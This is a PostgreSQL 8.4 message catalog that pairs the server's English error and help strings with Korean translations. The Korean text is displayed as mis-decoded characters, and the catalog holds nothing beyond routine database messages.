identifier "%s" is too longtransaction is read-onlytransaction left non-empty SPI stacktransaction log file "%s" could not be archived: too many failurestransaction log switch forced (archive_timeout=%d)transform expression must not return a settrigger "%s" for relation "%s" already existstrigger "%s" for table "%s" does not existtrigger "%s" for table "%s" does not exist, skippingtrigger %s on trigger function %u returned null valuetruncate cascades to table "%s"trying another address for the statistics collectortuple (%u,%u) of relation %u of database %utwo-phase state file for transaction %u is corrupttype "%s" already existstype "%s" already exists in schema "%s"type "%s" does not existtype "%s" does not exist, skippingtype "%s" is not yet definedtype "%s" is only a shelltype "line" not yet implementedtype %stype %s does not existtype %s is already in schema "%s"type %s is not a domaintype %s is not compositetype %s is only a shelltype analyze function %s must return type "boolean"type attribute "%s" not recognizedtype input function %s must return type %stype input function must be specifiedtype matched to anyenum is not an enum type: %stype modifier cannot be specified for shell type "%s"type modifier is not allowed for type "%s"type modifier output function is useless without a type modifier input functiontype of inherited column "%s" must be changed in child tables tootype output function %s must return type "cstring"type output function must be specifiedtype receive function %s must return type %stype reference %s converted to %stype send function %s must return type "bytea"type with OID %u does not existunacceptable schema name "%s"unacceptable tablespace name "%s"uncataloged table %sunequal number of entries in row expressionsunexpected "="unexpected EOF in COPY dataunexpected EOF on client connectionunexpected EOF within message length wordunexpected Kerberos user name received from client (received "%s", expected "%s")unexpected encoding ID %d for ISO 8859 character setsunexpected encoding ID %d for WIN character setsunexpected message type 0x%02X during COPY from stdinunexpected pageaddr %X/%X in log file %u, segment %u, offset %uunexpected timeline ID %u (after %u) in checkpoint recordunexpected timeline ID %u (should be %u) in checkpoint recordunexpected timeline ID %u in log file %u, segment %u, offset %uunique constraints not possible for domainsunnamed XML attribute value must be a column referenceunnamed XML element value must be a column referenceunnamed prepared statement does not existunquoted carriage return found in dataunquoted newline found in dataunrecognized "datestyle" key word: "%s"unrecognized "log_destination" key word: "%s"unrecognized API version %d reported by info function "%s"unrecognized SSL error code: %dunrecognized address family %dunrecognized configuration parameter "%s"unrecognized critical flags in COPY file headerunrecognized encoding: "%s"unrecognized error %dunrecognized function attribute "%s" ignoredunrecognized key word: "%s"unrecognized locktag type %dunrecognized parameter "%s"unrecognized privilege type "%s"unrecognized privilege type: "%s"unrecognized recovery parameter "%s"unrecognized table-function returnMode: %dunrecognized time zone name: "%s"unrecognized win32 error code: %luunreservedunsafe use of \' in a string literalunsafe use of pseudo-type "internal"unsafe use of string constant with Unicode escapesunsupported ON COMMIT and foreign key combinationunsupported format code: %dunsupported frontend protocol %u.%u: server supports %u.0 to %u.%uunsupported language "%s"unterminated /* commentunterminated CSV quoted fieldunterminated bit string literalunterminated dollar-quoted stringunterminated hexadecimal string literalunterminated quoted identifierunterminated quoted stringupdate or delete on table "%s" violates foreign key constraint "%s" on table "%s"updates on slices of fixed-length arrays not implementedupper bound cannot be less than lower bounduser lock [%u,%u,%u]user mapping for %suser mapping not found for "%s"user-defined indexes on system catalog tables are not supporteduser-defined relation parameter types limit exceededusing pg_pltemplate information instead of CREATE LANGUAGE parametersusing previous checkpoint record at %X/%Xutility statements cannot be preparedvacuuming "%s.%s"value "%s" is out of range for 8-bit integervalue "%s" is out of range for type bigintvalue "%s" is out of range for type integervalue "%s" is out of range for type oidvalue "%s" is out of range for type smallintvalue for domain %s violates check constraint "%s"value is too big in tsquery: "%s"value overflows numeric formatvalue too long for type character varying(%d)value too long for type character(%d)version mismatch in index "%s": file version %d, code version %dview "%s" does not existview "%s" does not exist, skippingview "%s" will be a temporary viewview %sview must have at least one columnview rule for "%s" must be named "%s"window function call requires an OVER clauseword is too long (%ld bytes, max %ld bytes)word is too long in tsquery: "%s"word is too long to be indexedwrong affix file format for flagwrong data type: %u, expected %uwrong element typewrong key in cancel request for process %dwrong number of array subscriptswrong number of columns: %d, expected %dwrong number of parameters for prepared statement "%s"wrong number of parameters on left side of OVERLAPS expressionwrong number of parameters on right side of OVERLAPS expressionxlog redo %szero raised to a negative power is undefinedzero-length component in parameter "dynamic_library_path"zero-length delimited identifierProject-Id-Version: PostgreSQL 8.4
Report-Msgid-Bugs-To: pgsql-bugs@postgresql.org
POT-Creation-Date: 2010-09-09 16:34+0000
PO-Revision-Date: 2010-09-24 12:37-0400
Last-Translator: EnterpriseDB translation team <dev-escalations@enterprisedb.com>
Language-Team: EnterpriseDB translation team <dev-escalations@enterprisedb.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;

ê°œë°œìž ì˜µì…˜ë“¤:

부트스트랩 모드ì—서 사용할 수 있는 옵션들:

단ì¼ì‚¬ìš©ìž 모드ì—서 사용할 수 있는 옵션들:

ì´ ì‹¤ì‹œê°„ 환경 변수용 ì„¤ì •ê°’ë“¤ì˜ ìžì„¸í•œ 사용법과
서버 환경 설정 파ì¼ì— 어떻게 지정하고 ì‚¬ìš©í•˜ëŠ”ì§€ì— ëŒ€í•œ 사항ì€
PostgreSQL 문서를 참조하세요.

오류 보고: <pgsql-bugs@postgresql.org>.
  --NAME=VALUE    실시간 매개 변수 지정
  --boot          부트스트랩 모드로 실행 (첫번째 ì¸ìˆ˜ë¡œ 와야함)
  --describe-config  서버 환경 ì„¤ì •ê°’ì— ëŒ€í•œ ì„¤ëª…ì„ ë³´ì—¬ì£¼ê³  마침
  --help          ì´ ë„움ë§ì„ 보여주고 마침
  --single        ë‹¨ì¼ ì‚¬ìš©ìž ëª¨ë“œ ì„ íƒ (ì¸ìˆ˜ì˜ 첫번째로 와야함)
  --version       버전 정보를 보여주고, 마침
  -A 1|0          실시간 assert checking ê¸°ëŠ¥ì„ ì¼¬/ë”
  -B NBUFFERS     공유 ë²„í¼ ê°œìˆ˜
  -D DATADIR      ë°ì´í„° 디렉터리
  -E              실행하기 ì „ì— ìž‘ì—…ëª…ë ¹ì„ ì¶œë ¥í•¨
  -F              fsync 기능 ë”
  -N MAX-CONNECT  최대 ë™ì‹œ ì—°ê²° 개수
  -O              시스템 í…Œì´ë¸”ì˜ êµ¬ì¡°ë¥¼ 바꿀 수 있ë„ë¡ í•¨
  -P              시스템 ì¸ë±ìŠ¤ë“¤ì„ ì‚¬ìš©í•˜ì§€ 않ìŒ
  -S 정렬메모리   ì •ë ¬ìž‘ì—…ì— ì‚¬ìš©í•  메모리 í¬ê¸°(kb 단위)를 지정
  -T              í•˜ë‚˜ì˜ í•˜ìœ„ 서버 프로세스가 비정ìƒìœ¼ë¡œ 마치며 모든
                  다른 서버 프로세스ì—게 SIGSTOP 신호를 보냄
  -W NUM          디버그 ìž‘ì—…ì„ ìœ„í•´ 지정한 숫ìžì˜ ì´ˆë§Œí¼ ê¸°ë‹¤ë¦°ë‹¤
  -c NAME=VALUE   실시간 매개 변수 지정
  -d 0-5          디버깅 수준
  -d 1-5          디버깅 수준
  -e              ë‚ ì§œ ìž…ë ¥ ì–‘ì‹ì´ 유럽형(DMY)ì„ ì‚¬ìš©í•¨
  -f s|i|n|m|h    쿼리최ì í™”ê¸°ì˜ ê¸°ëŠ¥ì„ ì œí•œ 함
  -h HOSTNAME     서버로 사용할 호스트 ì´ë¦„ ë˜ëŠ” IP
  -i              TCP/IP 연결 사용함
  -j              대화형 ì¿¼ë¦¬ì˜ ëª…ë ¹ 실행 구분 문ìžë¡œ 줄바꿈문ìžë¥¼ ì“°ì§€ 않ìŒ
  -k DIRECTORY    유닉스 ë„ë©”ì¸ ì†Œì¼“ 위치
  -l              SSL 연결 기능 사용함
  -n              비정ìƒì  종료 ë’¤ì— ê³µìœ  메모리를 초기화 하지 않ìŒ
  -o OPTIONS      ê° ê°œë³„ 서버 프로세스를 "OPTIONS" ì˜µì…˜ì„ ì§€ì •í•´ì„œ 실행함 (옛기능)
  -p PORT         서버 í¬íЏ 번호
  -r FILENAME     stdout, stderr 쪽으로 보내는 ë‚´ìš©ì„ FILENAME 파ì¼ë¡œ 저장함
  -s              ê° ì¿¼ë¦¬ ë’¤ì— í†µê³„ì •ë³´ë¥¼ 보여줌
  -t pa|pl|ex     ê° ì¿¼ë¦¬ ë‹¤ìŒ ìž‘ì—…ì‹œê°„ì„ ë³´ì—¬ì¤Œ
  -x NUM          ë‚´ë¶€ì ì¸ 옵션
  DBNAME          ë°ì´í„°ë² ì´ìФ ì´ë¦„ (초기값: 사용ìžì´ë¦„)
  DBNAME          ë°ì´í„°ë² ì´ìФ ì´ë¦„ (부트스트랩 모드ì—서 필수)
 %d 번째 ë¬¸ìž ë¶€ê·¼ %s ì—´"%c" 문ìžëŠ” 2진수 문ìžê°€ 아닙니다"%c" 문ìžëŠ” 16진수 문ìžê°€ 아닙니다"%s" 파ì¼ì´ 존재하지만 디렉터리가 아닙니다"%s"ì€(는) 복합 ìžë£Œí˜•입니다"%s" 디렉터리임"%s" 개체는 시스템 카탈로그입니다"%s" 개체는 ì´ë¯¸ "%s" 개체로부터 ìƒì†ë°›ì€ ìƒíƒœìž…니다."%s" ì´ë¦„ì˜ ë·°ê°€ ì´ë¯¸ 있습니다"%s"ì€(는) ì´ë¯¸ %s 형ì‹ì˜ ì†ì„±ìž„"%s" 함수는 집계함수입니다"%s"ì€(는) ì¸ë±ìŠ¤ìž„"%s" ì´ë¦„ì˜ ê°œì²´ëŠ” ë„ë©”ì¸ì´ 아닙니다"%s"는 숫ìžê°€ 아닙니다."%s" 시퀀스가 아님"%s" í…Œì´ë¸”ì´ ì•„ë‹˜"%s" 개체는 í…Œì´ë¸”ë„ ì¸ë±ìŠ¤ë„ ì•„ë‹™ë‹ˆë‹¤"%s" 개체는 í…Œì´ë¸”ë„ ë·°ë„ ì•„ë‹™ë‹ˆë‹¤"%s" 개체는 í…Œì´ë¸”, ì¸ë±ìФ, TOAST í…Œì´ë¸” ê·¸ ì–´ëŠ ê²ƒë„ ì•„ë‹™ë‹ˆë‹¤."%s" 개체는 í…Œì´ë¸”, ë·°, 시퀀스 ê·¸ ì–´ëŠ ê²ƒë„ ì•„ë‹™ë‹ˆë‹¤"%s" 개체는 ìžë£Œí˜•ì´ ì•„ë‹˜"%s" ìžë£Œí˜•ì€ ë„ë©”ì¸ì˜ 기반 ìžë£Œí˜•ì´ ì•„ë‹™ë‹ˆë‹¤"%s" ê°’ì€ ë°”ë¥¸ ë°ì´í„°ë””렉터리가 아닙니다"%s" 타당한 ì—°ì‚°ìž ì´ë¦„ì´ ì•„ë‹˜"%s" ë·°(view)ê°€ 아님"%s"ì€(는) ì¸ë±ìŠ¤ê°€ 아닙니다"%s" 개체는 "%s" í…Œì´ë¸”ì„ ìœ„í•œ ì¸ë±ìŠ¤ê°€ 아님"%s"는 double precision ìžë£Œí˜•ì˜ ë²”ìœ„ë¥¼ 벗어납니다."%s"는 real ìžë£Œí˜•ì˜ ë²”ìœ„ë¥¼ 벗어납니다."%s": 삭제가능한 %.0fê°œ, 삭제불가능한 %.0fê°œì˜ í–‰ ë²„ì „ì„ %u 페ì´ì§€ì—서 발견했ìŒ."%s": %u í–‰ 버전 ì´ë™í–ˆìŒ, %u ì—서 %u 페ì´ì§€ë¡œ 정리함"%s": %.0fê°œì˜ í–‰ ë²„ì „ì„ %uê°œ 페ì´ì§€ì—서 삭제했습니다."%s": %d ê°œì˜ í–‰ ë²„ì „ì„ %d 페ì´ì§€ì—서 삭제했습니다."%s": %dê°œì˜ íŽ˜ì´ì§€ 스캔함, ì „ì²´ %u 페ì´ì§€, 실ìžë£Œ: %.0f, 쓰레기ìžë£Œ: %.0f, %d í–‰(row) 샘플추출, %.0f ê°œì˜ ë¶„ì„ëœ ì „ì²´ í–‰(row)"%s": %u ì—서 %u 페ì´ì§€ë¡œ 정지했ìŒ???"0"ì€ "PR" 앞ì´ì–´ì•¼ 한다.???"9"는 "PR" 앞ì´ì–´ì•¼ 한다."E" 는 ì§€ì›ë˜ì§€ 않습니다."RN" 는 ì§€ì›ë˜ì§€ 않습니다."char" 범위를 벗어났습니다.??? "interval" time zone "%s" not valid"max_stack_depth" ê°’ì€ %ldKB를 초과할 수 없습니다시스템 보안 관련 문제로, PostgreSQL server를 "root" ID로 실행할 수 없습니다.
반드시 ì¼ë°˜ ì‚¬ìš©ìž ID(시스템 ê´€ë¦¬ìž ê¶Œí•œì´ ì—†ëŠ” ID)로 서버를 실행하십시오.
Server를 어떻게 안전하게 기ë™í•˜ëŠ”ê°€ 하는 ê²ƒì€ ë¬¸ì„œë¥¼ 참조하시기 ë°”ëžë‹ˆë‹¤.
"%s" 는 "time with time zone" ìžë£Œí˜•ì˜ ë‹¨ìœ„ê°€ 아닙니다."%s" 는 "time" ìžë£Œí˜• 단위가 아닙니다.ì‚¬ìš©ìž "%s"ì˜ "trust" ì¸ì¦ì— 실패했습니다%.0fê°œì˜ ì‚¬ìš©í•˜ì§€ 않는 í–‰ ë²„ì „ì„ ì•„ì§ ì‚­ì œí•  수 ì—†ìŒ.
삭제가 불가능한 í–‰ ë²„ì „ì´ %luì—서 %lu ë°”ì´íŠ¸ì— ê±¸ì³ ê¸¸ê²Œ 차지하고 있기 때문입니다.
%.0fê°œì˜ ì‚¬ìš©í•˜ì§€ 않는 ì•„ì´í…œ í¬ì¸í„°ê°€ 있습니다.
(삭제가능한 í–‰ ë²„ì „ì„ í¬í•¨í•´ì„œ) ì „ì²´ 비할당공간(free space)ì€ %.0f ë°”ì´íŠ¸ìž…ë‹ˆë‹¤.
%u 페ì´ì§€ê°€ (í…Œì´ë¸” ëì— %u 페ì´ì§€ë¥¼ í¬í•¨í•´ì„œ) 정리ë©ë‹ˆë‹¤.
%u 페ì´ì§€(%.0f 프리 ë°”ì´íЏ)ê°€ 새로운 위치로 지정ë©ë‹ˆë‹¤.
%s%.0fê°œì˜ ì¸ë±ìФ í–‰ ë²„ì „ì„ ì‚­ì œí–ˆìŠµë‹ˆë‹¤.
%uê°œ ì¸ë±ìФ 페ì´ì§€ë¥¼ 삭제해서, %uê°œ 페ì´ì§€ë¥¼ 다시 사용합니다.
%s.%d ê°’ì€ ìž˜ëª»ëœ ì¸ì½”딩 코드임%d ê°’ì€ "%s" 매개 ë³€ìˆ˜ì˜ ê°’ìœ¼ë¡œ 타당한 범위(%d .. %d)를 벗어났습니다.%g ê°’ì€ "%s" 매개 ë³€ìˆ˜ì˜ ê°’ìœ¼ë¡œ 타당한 범위(%g .. %g)를 벗어났습니다.%s%s "%s" ê°€ 명확하지 ì•Šì€ í‘œí˜„ìž…ë‹ˆë‹¤.%s %s 명령으로 "%s" ì¸ë±ìŠ¤ë¥¼ "%s" í…Œì´ë¸”ì— ìžë™ìœ¼ë¡œ 만들었ìŒ%s (PID %d) í”„ë¡œê·¸ëž¨ì€ %d 코드로 마쳤습니다%s (PID %d) í”„ë¡œê·¸ëž¨ì€ %d ì‹ í˜¸ì— ì˜í•´ì„œ 종료ë˜ì—ˆìŠµë‹ˆë‹¤%s, ìž…ë ¥ ë부분%s, "%s" 부근%s ëª…ë ¹ì€ íŠ¸ëžœìž­ì…˜ 블럭ì—서만 ì‚¬ìš©ë  ìˆ˜ 있ìŒ%s í”„ë¡œê·¸ëž¨ì€  환경 설정 íŒŒì¼ "%s"ì— ì•¡ì„¸ìŠ¤í•  수 없습니다: %s
%s 서브트랜잭션 블럭안ì—서 실행할 수 ì—†ìŒ%s ëª…ë ¹ì€ íŠ¸ëžœìž­ì…˜ 블럭안ì—서 실행할 수 ì—†ìŒ%s 는 ìžë£Œí˜• %s ìžë£Œí˜•ì—서 %s ìžë£Œí˜•으로 ë³€í™˜ë  ìˆ˜ 없습니다.%s ì˜ì¡´ëŒ€ìƒ: %s%s ì˜ì¡´ëŒ€ìƒ ì—´: "%s"%s í”„ë¡œê·¸ëž¨ì€ "hba" 환경설정파ì¼ì„ 찾지 못했습니다.
"%s" 파ì¼ì—서 "hba_file" ê°’ì„ ì§€ì •í•˜ë“ ì§€,
ì§ì ‘ -D ì˜µì…˜ì„ ì´ìš©í•´ì„œ ë°ì´í„° 디렉터리를 지정하든지,
PGDATA ì´ë¦„ì˜ í™˜ê²½ 변수를 만들고 ê·¸ 값으로 해당 디렉터리를 지정한 ë’¤,
ì´ í”„ë¡œê·¸ëž¨ì„ ë‹¤ì‹œ 실행해 보십시오.
%s í”„ë¡œê·¸ëž¨ì€ "ident" 환경설정파ì¼ì„ 찾지 못했습니다.
"%s" 파ì¼ì—서 "ident_file" ê°’ì„ ì§€ì •í•˜ë“ ì§€,
ì§ì ‘ -D ì˜µì…˜ì„ ì´ìš©í•´ì„œ ë°ì´í„° 디렉터리를 지정하든지,
PGDATA ì´ë¦„ì˜ í™˜ê²½ 변수를 만들고 ê·¸ 값으로 해당 디렉터리를 지정한 ë’¤,
ì´ í”„ë¡œê·¸ëž¨ì„ ë‹¤ì‹œ 실행해 보십시오.
%s í”„ë¡œê·¸ëž¨ì€ ë°ì´í„°ë² ì´ìФ 시스템 ë°ì´í„° 디렉터리를 찾지 못했습니다.
"%s" 파ì¼ì—서 "data_directory" ê°’ì„ ì§€ì •í•˜ë“ ì§€,
ì§ì ‘ -D ì˜µì…˜ì„ ì´ìš©í•´ì„œ ë°ì´í„° 디렉터리를 지정하든지,
PGDATA ì´ë¦„ì˜ í™˜ê²½ 변수를 만들고 ê·¸ 값으로 해당 디렉터리를 지정한 ë’¤,
ì´ í”„ë¡œê·¸ëž¨ì„ ë‹¤ì‹œ 실행해 보십시오.
%s í”„ë¡œê·¸ëž¨ì€ ë°ì´í„°ë² ì´ìФ 시스템 환경 설정 파ì¼ì„ 찾지 못했습니다.
ì§ì ‘ --config-file ë˜ëŠ” -D ì˜µì…˜ì„ ì´ìš©í•´ì„œ ë°ì´í„° 디렉터리를 지정하든지,
PGDATA ì´ë¦„ì˜ í™˜ê²½ 변수를 만들고 ê·¸ 값으로 해당 디렉터리를 지정한 ë’¤,
ì´ í”„ë¡œê·¸ëž¨ì„ ë‹¤ì‹œ 실행해 보십시오.
%s ìžë£Œí˜•ì€ í…Œì´ë¸”ì˜ í–‰ ìžë£Œí˜•(row type)입니다%s ì´ë¦„ì€ ìž˜ëª»ëœ ì¸ì½”딩 ì´ë¦„ìž„SQL 함수ì—서 %s ì§€ì›ë˜ì§€ 않ìŒ%s êµ¬ë¬¸ì€ ë¹„íœ˜ë°œì„± 함수(non-volatile function)ì—서 허용하지 않습니다%s í”„ë¡œê·¸ëž¨ì€ PostgreSQL 서버입니다.

%s position %d ê°€ select list ì— í¬í•¨ë˜ì–´ 있지 않습니다%s ê°’ì€ boolean ê°’ì´ì–´ì•¼í•©ë‹ˆë‹¤.%s 숫ìžê°’ì„ í•„ìš”ë¡œ 함%s 매개 변수를 필요로 함%s í•˜ë‚˜ì˜ ì •ìˆ˜ê°’ì´ í•„ìš”í•¨%s ìžë£Œí˜• %s 와 %s 는 서로 매치ë˜ì§€ 않습니다%s 형과 %s 형%s 명령으로 "%s" 시퀀스가 ìžë™ìœ¼ë¡œ ë§Œë“¤ì–´ì§ ("%s.%s" serial ì—´ 때문)%s(*) 사용할 때는 ì´ í•¨ìˆ˜ê°€ 매개 변수 없는 집계함수여야 합니다%s(*) ê°€ 명시ë˜ì–´ 있는ë°, ì´ %s 는 집합함수가 아닙니다.%s.%s: WSAStartup 작업 실패: %d
%s: ì‚¬ìš©ìž ì´ë¦„ì„ ì•Œìˆ˜ 없습니다. (GetUserName 실패)
%s: TTY 제어ì—서 ê·¸ 제어권 ì—°ê²°ì„ ëŠì„ 수 없습니다: %s
%s: ë°ì´í„°ë² ì´ìФ ì‹œìŠ¤í…œì„ ì°¾ì„ ìˆ˜ 없습니다
"%s" 디렉터리 ì•ˆì— í•´ë‹¹ ìžë£Œê°€ 있기를 기대했는ë°,
"%s" 파ì¼ì„ ì—´ 수가 없었습니다: %s
%s: 백그ë¼ìš´ 프로세스를 할당(fork) í•  수 없습니다: %s
%s: 실행가능한 postgres í”„ë¡œê·¸ëž¨ì„ ì°¾ì„ ìˆ˜ 없습니다%s: "%s" íŒŒì¼ ì—´ 수 ì—†ìŒ: %s
%s: 외부 pid íŒŒì¼ "%s" 를 쓸 수 ì—†ìŒ: %s
%s: -f ì˜µì…˜ì˜ ìž˜ëª»ëœ ì¸ìˆ˜: "%s"
%s: -t ì˜µì…˜ì˜ ìž˜ëª»ëœ ì¸ìˆ˜: "%s"
%s: ìž˜ëª»ëœ ì¸ìˆ˜: "%s"
%s: ìž˜ëª»ëœ ëª…ë ¹í–‰ ì¸ìˆ˜%s: ìž˜ëª»ëœ ëª…ë ¹í–‰ ì¸ìˆ˜
%s: ìž˜ëª»ëœ datetoken í…Œì´ë¸”들, 복구하십시오.
%s: 유효하지 ì•Šì€ effective UID 입니다: %d
%s: ë°ì´í„°ë² ì´ìŠ¤ì™€ 사용ìžë¥¼ 지정하지 않았습니다%s: real ë˜ëŠ” effective user ID ë“¤ì€ ë°˜ë“œì‹œ ì¼ì¹˜ë˜ì–´ì•¼ 한다.
%s: setsysinfo 작업 실패: %s
%s: superuser_reserved_connections ê°’ì€ max_connections 값보다 작아야합니다
%s: 공유 ë²„í¼ ê°œìˆ˜ (-B ì˜µì…˜ì˜ ê°’)는 ì ì–´ë„ 16보다는 커야하며, ë™ì‹œ ì ‘ì†ìˆ˜ (-N ì˜µì…˜ì˜ ê°’)ì˜ ë‘배는 넘어야합니다
%uê°œ ì¸ë±ìФ 페ì´ì§€ê°€ ì‚­ì œë˜ì—ˆìŠµë‹ˆë‹¤. %uê°œ 페ì´ì§€ë¥¼ 다시 사용할 수 있습니다.
%s.%u í…Œì´ë¸”스페ì´ìФ OIDê°€ 아님--%s ì˜µì…˜ì€ í•´ë‹¹ ê°’ì„ ì§€ì •í•´ì•¼í•©ë‹ˆë‹¤-c %s ì˜µì…˜ì€ í•´ë‹¹ ê°’ì„ ì§€ì •í•´ì•¼í•©ë‹ˆë‹¤<qbq>ì „ì²´ ìžë¦¿ìˆ˜ %d, 소수 ìžë¦¿ìˆ˜ %dì˜ í•„ë“œë¥¼ %s%d보다 ìž‘ì€ ì ˆëŒ€ 값으로 <qbq>반올림해야 합니다."internal" ìžë£Œí˜•ì„ ë¦¬í„´í•˜ëŠ” 함수는 ì ì–´ë„ 하나 ì´ìƒì˜ ì¸ìˆ˜ê°€ "internal" ìžë£Œí˜•ì´ì–´ì•¼í•©ë‹ˆë‹¤.ì´ë¦„ì€ "group" ë˜ëŠ” "user" 키워드 ë’¤ì— ìžˆì–´ì•¼ 합니다.<qbq>ìš´ì˜ ì²´ì œê°€ í¬ëž˜ì‹œë  때 처리 ì¤‘ì¸ íŽ˜ì´ì§€ 쓰기는 디스í¬ì— ì¼ë¶€ë§Œ <qbq>기ë¡ë  ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤.  복구 중 WALì— ì €ìž¥ëœ í–‰ 변경 ë‚´ìš©ì´ <qbq>부족하여 복구할 수 없습니다.  ì´ ì˜µì…˜ì€ ì „ì²´ 복구가 가능하ë„ë¡ <qbq>WALì— ëŒ€í•œ ì²´í¬í¬ì¸íЏ 후 ì²˜ìŒ ìˆ˜ì •í•  때 페ì´ì§€ë¥¼ ì”니다.<qbq>ê´€ê³„ì— ë™ì¼í•œ ì´ë¦„ì˜ í˜•ì‹ì´ ì—°ê²°ë˜ì–´ 있으므로 기존 ì´ë¦„ê³¼ ì¶©ëŒí•˜ì§€ 않는 <qbq>ì´ë¦„ì„ ì‚¬ìš©í•´ì•¼ 합니다.ì´ ê°’ì´ 0ì´ë©´ ì´ëŸ° ì œí•œì´ ì—†ìŒ.ì´ ê°’ì´ 0ì´ë©´ 시스템 기본 ê°’ACL ë°°ì—´ì— ìž˜ëª»ëœ ìžë£Œí˜•ì„ ì‚¬ìš©í•˜ê³  있습니다ACL ë°°ì—´ì€ ì¼ì°¨ì› ë°°ì—´ì´ì–´ì•¼í•©ë‹ˆë‹¤ACL ë°°ì—´ì—는 null ê°’ì„ í¬í•¨í•  수 없습니다ACL 키워드는 "group" ë˜ëŠ” "user" ì¤‘ì— í•˜ë‚˜ì—¬ì•¼ 합니다.실재 리턴 ìžë£Œí˜•ì€ %s<qbq>모든 SELECTì— ì‹/함수를 추가하거나 UNIONì„ FROM <qbq>절로 ì´ë™í•˜ì‹­ì‹œì˜¤.VACUUMì—서 íŠœí”Œì„ ë™ê²°í•˜ê¸° 위해 ì „ì²´ í…Œì´ë¸”ì„ ìŠ¤ìº”í•  ë•Œê¹Œì§€ì˜ ê¸°ê°„ìž…ë‹ˆë‹¤.<qbq>트랜잭션 ID 랩어ë¼ìš´ë“œë¥¼ 방지하기 위해 í…Œì´ë¸”ì— ëŒ€í•´ ìžë™ 청소 ìž‘ì—…ì„ ìˆ˜í–‰í•  기간입니다.모든 ì—´ ë°ì´í„° 형ì‹ì€ 해시 가능해야 합니다.archive_command를 사용하여 WAL 파ì¼ì„ ì•„ì¹´ì´ë¹™í•  수 있ë„ë¡ í•©ë‹ˆë‹¤.시스템 í…Œì´ë¸”ì˜ êµ¬ì¡°ë¥¼ 수정할 수 있ë„ë¡ í•©ë‹ˆë‹¤.ë˜í•œ 모호한 ë‚ ì§œ ìž…ë ¥ì˜ í•´ì„ì„ ì œì–´í•©ë‹ˆë‹¤.빈 문ìžì—´ì„ 지정하면 ë°ì´í„°ë² ì´ìŠ¤ì˜ ê¸°ë³¸ í…Œì´ë¸”스페ì´ìŠ¤ê°€ ì„ íƒë©ë‹ˆë‹¤.ìž˜ëª»ëœ ë¶€ë™ì†Œìˆ˜ì  ìž‘ì—…ì´ ê°ì§€ ë˜ì—ˆìŠµë‹ˆë‹¤. ì´ê²ƒì€ ì•„ë§ˆë„ ê²°ê³¼ê°’ 범위초과나 0으로 나누는 작업과 ê°™ì€ ìž˜ëª»ëœ ì—°ì‚° ë•Œë¬¸ì— ë°œìƒí•œ 것 같습니다ì¼ë°˜ 사용ìžì¸ë°, ì´ ìž‘ì—…ì´ í•„ìš”í•˜ë©´, psqlì˜ \copy ëª…ë ¹ì„ ì´ìš©í•˜ì„¸ìš”아무나 libpqì— ì˜í•´ 제공ë˜ëŠ” í´ë¼ì´ì–¸íЏ 측 lo_export 를 사용할 수 있다아무나 libpqì—서 제공ë˜ëŠ” í´ë¼ì´ì–¸íЏ 측 lo_import() 를 사용할 수 있다.4사월<qbq>%s 요소 형ì‹ì´ í¬í•¨ëœ ë°°ì—´ì€ %s 요소 형ì‹ì´ í¬í•¨ëœ ARRAY êµ¬ë¬¸ì— <qbq>사용할 수 없습니다.%dì°¨ì›(ë°°ì—´ 깊ì´) ë°°ì—´ê³¼ %dì°¨ì› ë°°ì—´ì€ ì—°ê²°í•  수 없습니다.ì°¨ì›(ë°°ì—´ 깊ì´)ì´ ë‹¤ë¥¸ ë°°ì—´ë“¤ì„ ì„œë¡œ í•©ì¹  수 없습니다차ì›(ë°°ì—´ 깊ì´)ì´ ë‹¤ë¥¸ ë°°ì—´ë“¤ì„ ì„œë¡œ í•©ì¹  수 없습니다%s ìžë£Œí˜•ì˜ ë°°ì—´ê³¼ %s ìžë£Œí˜•ì˜ ë°°ì—´ì€ ì—°ê²°í•  수 없습니다.8팔월N킬로바ì´íЏ í›„ì— ìžë™ 로그 íŒŒì¼ íšŒì „ì´ ë°œìƒí•©ë‹ˆë‹¤.Në¶„ í›„ì— ìžë™ 로그 íŒŒì¼ íšŒì „ì´ ë°œìƒí•©ë‹ˆë‹¤.FROM ì ˆì—서 누ë½ëœ í…Œì´ë¸” 참조를 ìžë™ìœ¼ë¡œ 추가합니다.AutovacuumBEFORE STATEMENT 트리거는 ë¦¬í„´ê°’ì´ ìžˆìœ¼ë©´ 안ë©ë‹ˆë‹¤ë¼ìš´ë“œë‹¹ 플러시할 백그ë¼ìš´ë“œ 작성기 최대 LRU 페ì´ì§€ 수입니다.ì´ ê¸°ëŠ¥ì€ ê¸°ë³¸ì ìœ¼ë¡œ 연결기ë¡ì—서 기본ì ìœ¼ë¡œ IP 주소만 기ë¡í•©ë‹ˆë‹¤. ì´ ê°’ì„ true로 바꾼다면, ì´ IPì˜ í˜¸ìŠ¤íŠ¸ ì´ë¦„ì„ êµ¬í•´ì„œ ì´ ì´ë¦„ì„ ì‚¬ìš©í•©ë‹ˆë‹¤ ì´ê²ƒì˜ ì„±ëŠ¥ì€ OSì˜ IPì—서 ì´ë¦„구하기 성능과 관계ë©ë‹ˆë‹¤.CACHE (%s) ê°’ì€ 0(zero)보다 커야합니다내용:  %s 복사, %d번째 줄%s 복사, %d번째 줄, %s ì—´%s 복사, %d번째 줄, %s ì—´: "%s"COPY %s, %dí–‰, %s ì—´: null ìž…ë ¥%s 복사, %d번째 줄: "%s"COPY (SELECT INTO) ì§€ì›í•˜ì§€ 않ìŒCOPY (SELECT) WITH OIDS ì§€ì›í•˜ì§€ 않ìŒCOPY BINARY ëª…ë ¹ì€ stdout, stdin ìž…ì¶œë ¥ì„ ì§€ì›í•˜ì§€ 않습니다COPY HEADER는 CSV 모드ì—서만 사용할 수 있ìŒCOPY 명령ì—서 사용할 ì—´ 구분ìž(delimiter)로 줄바꿈 문ìžë“¤ì„ 사용할 수 없습니다COPY 구분ìžëŠ” NULL ì§€ì •ì— í‘œì‹œë˜ì§€ 않아야 함COPY ì´ìŠ¤ì¼€ì´í”„는 CSV 모드ì—서만 사용할 수 있ìŒfile signature 복사는 ì¸ì‹ë˜ì§€ 않았ìŒCOPY force not nullì€ CSV 모드ì—서만 사용할 수 있ìŒCOPY force not nullì€ COPY FROMì—서만 사용할 수 있ìŒCOPY force quote는 CSV 모드ì—서만 사용할 수 있ìŒCOPY force quote는 COPY TOì—서만 사용할 수 있ìŒCOPY 명령ì—서 stdin으로 ìžë£Œ 가져오기 실패: %sCOPY null 표현ì—서 줄바꿈 ë˜ëŠ” ìºë¦¬ì§€ ë¦¬í„´ì„ ì‚¬ìš©í•  수 